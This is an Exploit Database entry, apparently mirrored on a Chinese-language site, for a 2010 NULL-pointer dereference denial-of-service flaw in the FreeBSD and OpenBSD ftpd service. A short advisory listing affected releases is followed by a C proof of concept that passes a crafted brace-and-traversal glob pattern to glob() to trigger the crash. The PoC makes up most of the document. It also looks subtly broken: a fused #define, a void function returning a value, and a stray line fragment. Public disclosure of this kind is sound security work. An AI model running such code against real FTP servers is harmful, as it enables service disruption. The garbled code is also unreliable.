FreeBSD / OpenBSD – ‘ftpd’ Null Pointer Dereference Denial of Service

• Exploit Database
• 8 阅读

• 作者： kingcope
  日期： 2010-03-12
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/11705/

• /*FreeBSD and OpenBSD 'ftpd' NULL Pointer Dereference Denial Of Service Vulnerability
  
  The FreeBSD and OpenBSD 'ftpd' service is prone to a denial-of-service vulnerability because of a NULL-pointer dereference.
  
  Successful exploits may allow remote attackers to cause denial-of-service conditions. Given the nature of this issue, attackers may also be able to run arbitrary code, but this has not been confirmed.
  
  This issue affects the following releases:
  
  FreeBSD 8.0, 6.3, 4.9
  OpenBSD 4.5 and 4.6 
  
  PoC:
  */
  
  #include <glob.h>
  #include <stdio.h>
  
  #define MAXUSRARGS100
  #define MAXGLOBARGS 1000
  
  void do_glob() {
  glob_t gl;
  char **pop;
  
  char buffer[256];
  strcpy(buffer, "{A*/../A*/../A*/../A*/../A*/../A*/../A*}");
  
  int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE;
  memset(&gl, 0, sizeof(gl));
  gl.gl_matchc = MAXGLOBARGS;
  flags |= GLOB_LIMIT;
  if (glob(buffer, flags, NULL, &gl)) {
  printf("GLOB FAILED!\n");
  return 0;
  }
  else
  //for (pop = gl.gl_pathv; pop && *pop && 1 <
  (MAXGLOBARGS-1);
  for (pop = gl.gl_pathv; *pop && 1 < (MAXGLOBARGS-1);
   pop++) {
  printf("glob success");
  return 0;
  }
  globfree(&gl);
  }
  
  main(int argc, char **argv) {
  do_glob();
  do_glob();
  }